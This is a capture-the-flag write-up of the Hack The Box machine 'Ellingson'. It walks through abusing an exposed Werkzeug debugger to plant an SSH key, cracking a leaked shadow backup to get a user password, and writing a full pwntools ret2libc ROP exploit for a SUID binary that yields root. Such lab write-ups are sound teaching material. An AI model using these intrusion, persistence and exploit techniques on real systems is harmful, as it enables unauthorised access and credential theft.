HTB{ ellingson }

Oct 19, 2019 | 20 minutes read

Tags: hack-the-box, binary exploitation, werkzeug, suid, pwntools, hashcat

Ellingson was a great submission from Ic3M4n, aka @BenGrewell. Initial access was relatively simple, which meant there was plenty of time for that sweet, sweet binary exploitation. This box allowed me to refine my binary exploitation skills. I picked up a few new tricks from @WorldUnruled as well! This was a well made box that took me down memory lane and I thoroughly enjoyed it, thanks to Ic3M4n!




As usual, we start with a masscan followed by a targeted nmap.

masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.

open tcp 80 1560162080
open tcp 22 1560162080


nmap -p 22,80 -sC -sV -oA nmap.

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
|   256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_  256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access

The target machine appears to be running fail2ban because tools like gobuster quickly start timing out. With fail2ban, we can forego automated tools and take a look around the web site manually instead.

Ellingson Mineral Corp

When browsing to the default web page, the following image greets us


Oh, snap! If you’re anything like me, the nostalgia bell got rung really hard right here. Putting nostalgia on hold, we start checking out some of the links.


Going down the line of links on the main page, we notice a trend in the URLs. The first link takes us to an article posted about a virus planted inside the Ellingson Mainframe ( The second linked article talks about blocking brute force attacks (which validates our fail2ban suspicion) ( Lastly, there’s an article about suspicious activity on the network ( The trend in URLS is that we’re accessing articles by an ID passed as part of the URL.

Any time we see incrementing IDs like this, it’s interesting to see what the application does when we specify IDs that the application doesn’t expect. When an application allows us to view and/or modify things that we shouldn’t by changing the referenced ID, the application is said to be vulnerable to Insecure Direct Object Reference (IDOR).

Side note: Even though IDOR got knocked out of the OWASP Top 10 between 2013 and 2017, it’s still alive and kicking in bug bounties. IDOR is a bug class that is relatively easy to recognize and can be simple to exploit; therefore, it’s a good bug class to know!

Ellingson’s site isn’t vulnerable to IDOR. However, recognizing and trying to test for IDOR is the reasoning behind changing the URL to have an ID of 4 when there was no direct link to a fourth article. When we try to access, we see a Werkzeug traceback… Jackpot!

Werkzeug Debugger

The werkzeug debugger provides a Web Server Gateway Interface (WSGI) middleware that renders nice tracebacks, optionally with an interactive debug console to execute code in any frame. WSGI is one of the technologies that allows web servers to forward requests to web applications written in python. And on the werkzeug documentation page, we have a big red warning:

Danger: The debugger allows the execution of arbitrary code, which makes it a major security risk. The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production.

When we browsed to a page that didn’t exist, it triggered a python exception. Werkzeug helpfully displayed an interactive debugging session for us to identify what went wrong. Debugging pages are incredibly useful during development, but should (obviously) be deactivated once the site goes live.

Let’s see what we can accomplish through the debugger!

Adding Our SSH Key

We’ll start by getting our interactive python session running. We need to hover over any of the lines in the traceback and click the small terminal icon on the right-hand side.


With that complete, let’s write a little function to run a facsimile of ls.

def ls(x): from pathlib import Path;[print(str(p)) for p in Path(x).iterdir()]

There’s some weirdness with scoping in the debugger. Any lambda or function has to have any imports included within the function.

Running our function on /home shows a few users of which we can take note.


Attempting to run our ls on any of the users except for Hal gives us a permission denied error, so let’s focus on Hal (the hapless techno weenie!). Within Hal’s .ssh directory, we see a private key; unfortunately, it’s encrypted. Since we don’t have any creds to try, let’s add our key to the authorized_keys file.

First, we’ll generate a public/private keypair.

ssh-keygen -f ellingson_id_rsa

With that complete, we can use our python interpreter to append our key to the file.

open('/home/hal/.ssh/authorized_keys', 'a').write('\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkadsZa/yL1L9v6SDs81kc1oZHuddyMTAz9qJ+nxJ9sauMICqD7vOBQx4XMNu5K3oLtNm70sCWqZvYmAb5+FoyOvQ900qTFq2HV/NJZvXcKLDg4FtDd+CHUmeZYx0AKjoJ61gO+uojok8lPxoupAfDWz8gDXCqgUqgd7hQXLokBIoOLclurBz+LVrKj4u+5V1t5nSmOmuxakTMMrQNke0JMU7m5Xgl6MPOOHaPESxawUSEm/c4ZyQ31dPSxphwsU278O9h3Pf5vdECnKRHR7waVOzpig10x8+BVQKhvIB0ht4UDN6AY9xMoZ0cxq9PaVn03rMefMNvJrLSLqmqaZ9v root@kail')

Now, we can use our new private key to access the mainfra..err I mean the target.

ssh -i ellingson_id_rsa hal@

\o/ - access level: hal

hal to margo

/etc/shadow Backup

Running the id command as hal shows that he is a member of the adm group. We can find all the files that are owned at the group level by adm with the following command.

find / -group adm 2>/dev/null


The first file returned in our search sounds interesting; let’s check it out.

cat /var/backups/shadow.bak


A backup of shadow certainly seems promising, let’s get hashcat running and see what shakes out.


Before we can attempt to crack the creds, we need to save them to a file locally. After that, we can run the following hashcat command.

hashcat -m 1800 -a 0 ellingson-shadow-backup /usr/share/wordlists/rockyou.txt

hashcat (v5.1.0) starting...
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384


theplague’s password gets identified rather quickly, but we can’t ssh, nor can we su to theplague. For now, we’ll make a note of his password and keep waiting.

Eventually, margo’s password cracks (~6mins on my machine).


Armed with a new set of creds, we can attempt ssh again.

ssh margo@
margo@'s password: iamgod$08
Last login: Tue Oct  1 01:27:26 2019 from

\o/ - access level: margo

margo to root - Binary Exploitation

The overall strategy we’ll use is similar to what we did when completing Smasher. We’re going to use the puts syscall to display the memory address of a function within libc. Once a memory address from libc is known, we can use that to calculate the base address of libc within the binary. After calculating the base address, we can then determine the memory address of the system syscall by its offset relative to libc’s base to then execute /bin/sh. Those are the basic steps we’re about to take.

The Garbage File

A simple search for suid binaries yields an exciting result.

find / -perm -4000 2>/dev/null


Let’s give it a test run.


Enter access password: stuff

access denied.

Looking at the binary’s strings, we see a potential password.

strings /usr/bin/garbage

User is not authorized to access this application. This attempt has been logged.
Enter access password: 
access granted.
access denied.

Using N3veRF3@r1iSh3r3!, we’re granted access and can see some fun Hackers easter eggs.

Enter access password: N3veRF3@r1iSh3r3!
access granted.         
[+] W0rM || Control Application   
[+] ---------------------------
Select Option
1: Check Balance   
2: Launch                 
3: Cancel                                   
4: Exit                                                                                        
> 2
Row Row Row Your Boat...
> 1                    
Balance is $1337 
> 3                           
The tankers have stopped capsizing
> 4                            

Nothing unusual sticks out here, and it’s a suid binary, so let’s bring it back to kali for additional testing. Copy the Garbage File!


scp margo@ .

garbage                               100% 1983KB 494.3KB/s   00:04


Before we begin, we need to know what countermeasures are in place. The first thing we’ll do is determine whether or not the binary is dynamically or statically linked.

file garbage

setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped

The important part of the output above is that it is dynamically linked.

Next, let’s run PEDA’s checksec in gdb.

gdb -q garbage

Reading symbols from garbage...
(No debugging symbols found in garbage)
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

We can see that garbage has a Non-eXecutable stack. The other piece of information we need is whether or not ASLR is on. For Linux systems, checking for ASLR is very simple. If the kernel is newer than version 2.6.12, we simply cat /proc/sys/kernel/randomize_va_space and view the results. Three are three possible values explained below:

  • 0 - Turn ASLR off. This is the default for architectures that don’t support ASLR, and when the kernel is booted with the norandmaps parameter.
  • 1 - Make the addresses of mmap(2) allocations, the stack, and the VDSO page randomized. Among other things, this means that shared libraries will be loaded at randomized addresses. The text segment of PIE-linked binaries will also be loaded at a randomized address. This value is the default if the kernel was configured with CONFIG_COMPAT_BRK.
  • 2 - Also support heap randomization. This value is the default if the kernel was not configured with CONFIG_COMPAT_BRK.

Let’s check what value the target is running.

cat /proc/sys/kernel/randomize_va_space


Based on the 2 returned, we now know that ASLR is turned on.


Our next step involves figuring out how to overflow whatever buffer is available to be overflown. We’ve already seen what a typical run of the program looks like, so let’s start by sending it a small number of A’s.

Let’s build out a small loop to determine how many A’s we need to send to fill the buffer.

We’ll start with the seq command. seq START STEP END is the syntax, we want 20 iterations, beginning at 10 and ending at 200. Each iteration should increment the number returned by 10.

seq 10 10 200


Then we’ll build our for loop.

for i in $(seq 10 10 200); do echo $i ; done


There’s no appreciable difference in the output, but now we can do additional things in the do block of our for loop.

Specifically, we’ll print the same number of A’s instead of just the number itself.

for i in $(seq 10 10 200); do python -c "print('A' * $i)" ; done


Check out the Additional Resources if either the for loop or $() syntax are unfamiliar

Finally, we’ll pass those A’s to garbage. The additional echo at the beginning lets us know how many As were sent on each iteration.

for i in $(seq 10 10 200); do echo "Sending $i As" && python -c "print('A' * $i)" | ./garbage; done

Sending 10 As 
Enter access password: 
access denied.
Sending 20 As     
Enter access password: 
access denied.         
Sending 130 As
Enter access password: 
access denied.
Sending 140 As
Enter access password: 
access denied.
Segmentation fault

Now we know that 140 A’s or more will overflow the buffer, causing a segfault.

Determine Stack Offset

If you’re familiar with 32-bit binary exploitation, it may be surprising that we’re not going to target the instruction pointer, RIP (the 64-bit equivalent of EIP). Instead, we’re going to craft our exploit using Return-Oriented Programming (ROP). More specifically, we’re going to craft a ret2libc exploit. We’re using ret2libc because we have a dynamically linked binary, with a non-executable stack, and ASLR is turned on.

When using ROP, the goal is to use existing instructions within the binary to perform desirable actions. Those pieces of existing code are known as rop gadgets. Each rop gadget will terminate in a ret instruction. Each ret instruction moves program control to a return address located on the top of the stack. If we can control what code is placed onto the top of the stack, we can chain multiple rop gadgets together, because each gadget will move program execution to the start of the next gadget. Essentially, the top of the stack takes the place of our instruction pointer.

For a more detailed look at how ROP is structured, take a Return Oriented Programming (ROP) Exploits Explained. The video discusses Windows exploitation, but the concept of how gadgets control execution via the stack is explained well.

To determine precisely how many bytes of garbage we need to send before we get to the stack, we can utilize our PEDA-powered gdb. We’ll use PEDA’s pattern_create command to generate a 150 character long string and send it to garbage. After generating the string, we’ll run the binary and use it as the password.


After that, we should see PEDA’s display of the registers, code, and stack. At the top of the stack (and in RSP, i.e. the stack pointer), we see AAQAAmAARAAoAA. This substring of our pattern marks the point at which we overflow onto the stack.


All we need to do now is to find out exactly how many characters preceded the substring found above. We’ll use PEDA’s pattern_offset command to see that we need 136 bytes of data to reach the top of the stack.


There we have it; we need to fill the buffer with 136 bytes of data to reach the top of the stack.

Memory Leak PoC

If you’re interested in reading about how to do the things in this section manually, please see my writeup on Smasher. I take a lot of time in that writeup to breakdown how to find the proper gadgets, why we select those gadgets in particular, x86_64 calling conventions, and how the stack looks when everything is setup.

Let’s get started with our PoC by grabbing the target’s version of libc.

scp margo@ .
margo@'s password: iamgod$08                                   100% 1983KB   2.3MB/s   00:00    

Now that we have the target’s libc and we know our offset, we’ll begin writing our exploit by importing and configuring pwntools. pwntools is almost a must-have, as it dramatically simplifies exploit development.

1import urllib
2from pwn import *
4context.bits = 64
5context.arch = 'amd64'
6context.endian = 'little'
7context.terminal = ['tmux', 'new-window']

Next, we read in our garbage file and the libc binary.

9elf = ELF('garbage', checksec=False)
10libc = ELF('', checksec=False)
12rop = ROP(elf)

With the binaries loaded, we can begin building our first ROP chain that will leak a memory address from within libc.['puts'], [['puts']])

elf.plt['puts'] instructs pwntools to find the memory address of the puts function from the Procedure Linkage Table (PLT).

The PLT is used to call external procedures/functions whose address isn’t known at the time of linking. When those addresses aren’t known, they’re left to be resolved by the dynamic linker at run time (recall that this binary is dynamically linked). The PLT is used in conjunction with the Global Offset Table (GOT) to implement dynamic linking. For more information on how dynamic libraries work in ELF files, please check out this fantastic post on the subject.['puts'] does mostly the same thing as the code we just discussed, except that it finds the memory address of puts from the GOT. says that we want to call the function passed as the first argument with the arguments contained within the list passed as the second argument.

All together,['puts'], [['puts']]) says “call PLT’s puts function in order to print the memory address of the GOT’s puts function”.

The line of code after our gives us an excellent visual representation of our rop chain.

The fit function, as its used below, generates 136 bytes of filler (recall that’s how much space we need to fill to reach the top of the stack) and then places the rop chain directly after those 136 bytes. The filler plus the rop chain give us our memory leak payload!

18payload = fit({136: rop.chain()})

The next snippet is pretty straightforward. We wait until we receive the string password: and then send our payload. After that, we read the output until the garbage binary tells us we have provided an incorrect password.

20garbage = process('/root/htb/ellingson/garbage', stdin=PTY)
22garbage.sendlineafter('password: ', payload)

If you had difficulty sending and receiving data from your local copy of garbage while doing this box, the keyword argument stdin=PTY makes sending/receiving work the way you expect.

If all went well, the next line sent after Access denied. is our leaked address. We’ll read one more line by calling recvline and removing the trailing newline with strip. After that, we pad out the memory address to 8 bytes. Finally, we use the u64 function to unpack the 64-bit integer. The following line prints our leaked address.

25leaked_puts = u64(garbage.recvline().strip().ljust(8, "\x00"))
26log.success("leaked puts: {}".format(hex(leaked_puts)))

Finally, with all of that in place, we can give our memory leak PoC a test run.


[*] Loaded cached gadgets for 'garbage'
[*] 0x0000:         0x40179b pop rdi; ret
    0x0008:         0x404028 [arg0] rdi = got.puts
    0x0010:         0x401050
[+] Starting local process '/root/htb/ellingson/garbage': pid 26059
[+] leaked puts: 0x7fbde8057910
[*] Stopped process '/root/htb/ellingson/garbage' (pid 26059)

Huzzah! That certainly looks like a memory address.

Calculate libc Base Address

Our next step is to use our leaked address to calculate libc’s base address. Recall that our goal is to use libc’s base address to determine the memory address of the system function. Here’s what finding the base address looks like in code.

28libc.address = leaked_puts - libc.sym.puts'libc addr: %#x', libc.address)

We can run our script again to see the results.

2[+] leaked puts: 0x7f218b2c4910
3[*] libc addr: 0x7f218b253000
4[*] Stopped process '/root/htb/ellingson/garbage' (pid 20260)

When we get a number that ends in a couple of zeroes for the libc base address, that lets us know that we’re probably doing it right. libc is usually aligned in memory in such a way that it’s common to see base addresses like this end in a few 0s.

Re-run the Binary

We’ve done a lot of good work so far, but if we run our script a few times, we see that our leaked address and libc’s base address change with each run.

[+] leaked puts: 0x7f218b2c4910
[*] libc addr: 0x7f218b253000

[+] leaked puts: 0x7f9a985b5910
[*] libc addr: 0x7f9a98544000


[+] leaked puts: 0x7f137f363910
[*] libc addr: 0x7f137f2f2000


[+] leaked puts: 0x7fa4d9db0910
[*] libc addr: 0x7fa4d9d3f000

My OS is running ASLR, just like the target. Each time the program runs, libc gets loaded at a new address. That means we need to be able to calculate libc and re-exploit the same bug during the same execution of the program. To do this, we’ll call the main function in our first rop chain.['puts'], [['puts']])
20payload = fit({136: rop.chain()})

We can see the second execution happen by adding garbage.interactive() at the end of our current script.

[*] Loaded cached gadgets for 'garbage'
[*] 0x0000:         0x40179b pop rdi; ret
    0x0008:         0x404028 [arg0] rdi = got.puts
    0x0010:         0x401050
[+] Starting local process '/root/htb/ellingson/garbage': pid 28734
[+] leaked puts: 0x7f04ca1ca910
[*] libc addr: 0x7f04ca159000
[*] Switching to interactive mode
Enter access password: $ stuff

access denied.
[*] Process '/root/htb/ellingson/garbage' stopped with exit code 255 (pid 28734)
[*] Got EOF while reading in interactive

There we go, we see the leaked address and then we’re prompted for a password again, nice! We’re going to leave the garbage.interactive() line in our script for now, but all the code we discuss in the following sections will be placed above that line. Let’s go!

Elevate Privileges

One part of this box that caught a lot of people off guard was the fact that the binary itself never called setuid(0), even though the binary had the suid bit set. We can demonstrate the fact that just having suid doesn’t necessarily mean that the binary does anything with those elevated privileges. Here’s a simple C program that attempts to cat the shadow file.

1#include <stdlib.h>
3int main() {
4    system("/bin/cat /etc/shadow");

We can compile it and set owner and suid bit appropriately with the following commands.

gcc -o cat-shadow cat-shadow.c
sudo chown root: cat-shadow
sudo chmod 4755 cat-shadow

And finally, run it as an unprivileged user.

ls -al cat-shadow
-rwsr-xr-x 1 root root 16488 Oct 16 19:14 cat-shadow

/bin/cat: /etc/shadow: Permission denied

Womp womp. However, a simple call to setuid will fix the issue.

1#include <stdlib.h>
3int main() {
4    setuid(0);
5    system("/bin/cat /etc/shadow");

We need to run the same commands we did earlier to recompile the binary and setup the ownership/permissions, but after that, we can see the contents of /etc/shadow!



So, at this point, we need to add a call to setuid in our second rop chain. First, we’ll reset our ROP variable to clear out our first rop chain. Then, we simply use libc.sym.setuid. This kind of function lookup works because we set libc’s base address earlier.

31rop = ROP(elf)
32, [0])

That’s it… easy, right?

Grab a shell

We’re getting close to the end; we need to use the system function to spawn a shell. Here’s what that looks like in code.

35binsh = next('/bin/sh'))

We use the .search method to find the string /bin/sh in libc. We need to use the next function because .search returns an generator. When we’re dealing with a generator we need to request items from the generator. Luckily, next grabs and returns a single item from a generator.

After that, it’s a simple matter of another, [binsh])

Boom! One more section to fill out, let’s do it!

Putting it All Together

The following code rounds out our exploit script. It’s all code we’ve covered before, so without further ado, we’ll add the following lines to our script and run it.

38payload = fit({136: rop.chain()})
41garbage.sendlineafter('password: ', payload)

[*] Loaded cached gadgets for 'garbage'
[*] 0x0000:         0x40179b pop rdi; ret
    0x0008:         0x404028 [arg0] rdi = got.puts
    0x0010:         0x401050
[+] Starting local process '/root/htb/ellingson/garbage': pid 2060
[+] leaked puts: 0x7f0d1c282910
[*] libc addr: 0x7f0d1c211000
[*] 0x0000:         0x40179b pop rdi; ret
    0x0008:              0x0 [arg0] rdi = 0
    0x0010:   0x7f0d1c2d8500
    0x0018:         0x40179b pop rdi; ret
    0x0020:   0x7f0d1c392519 [arg0] rdi = 139694284809497
    0x0028:   0x7f0d1c2559c0
[*] Switching to interactive mode

access denied.
# $ id
uid=0(root) gid=0(root) groups=0(root)

BAM! We didn’t get any heinous errors or complaints, so everything is looking good so far. Let’s take our current script and add the logic to run it on target. To do that, we’ll comment out the line where we tell pwntools that we want to execute a local binary on disk.

18payload = fit({136: rop.chain()})
20#garbage = process('/root/htb/ellingson/garbage', stdin=PTY)
21garbage.sendlineafter('password: ', payload)

And we’ll replace it with the following two lines that ssh onto the target before starting the garbage process.

18payload = fit({136: rop.chain()})
20#garbage = process('/root/htb/ellingson/garbage', stdin=PTY)
21remote = ssh(host='', user='margo', password='iamgod$08')
22garbage = remote.process('/usr/bin/garbage')
23garbage.sendlineafter('password: ', payload)

After those changes, we’re ready to attempt to exploit the remote target.


[*] Loaded cached gadgets for 'garbage'        
[*] 0x0000:         0x40179b pop rdi; ret      
    0x0008:         0x404028 [arg0] rdi = got.puts                                             
    0x0010:         0x401050                   
[+] Connecting to on port 22: Done
[*] margo@                        
    Distro    Ubuntu 18.04                                                                     
    OS:       linux                                                                            
    Arch:     amd64                            
    Version:  4.15.0                           
    ASLR:     Enabled                          
[+] Starting remote process '/usr/bin/garbage' on pid 2164                       
[+] leaked puts: 0x7f0c1bd609c0                                                                
[*] libc addr: 0x7f0c1bce0000                                                                  
[*] 0x0000:         0x40179b pop rdi; ret      
    0x0008:              0x0 [arg0] rdi = 0    
    0x0010:   0x7f0c1bdc5970                   
    0x0018:         0x40179b pop rdi; ret      
    0x0020:   0x7f0c1be93e9a [arg0] rdi = 139689984605850                                      
    0x0028:   0x7f0c1bd2f440                   
[*] Switching to interactive mode              

access denied.                                 
# $ id                                         
uid=0(root) gid=1002(margo) groups=1002(margo) 
# $ cat /root/root.txt

Nice! Before we call it quits, the exploit script can be viewed in its entirety below, as well as in my HTB Scripts for Retired Boxes repository. Also, I can’t go out of this post without at least one…

\o/ - root access

I hope you enjoyed this write-up or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.


Additional Resources

  1. HTB Scripts for Retired Boxes
  2. Smasher
  3. OWASP - Insecure Direct Object Reference
  4. Bash - for loop
  5. Bash - Command Substitution
  6. Return Oriented Programming (ROP) Exploits Explained
  7. pwntools

comments powered by Disqus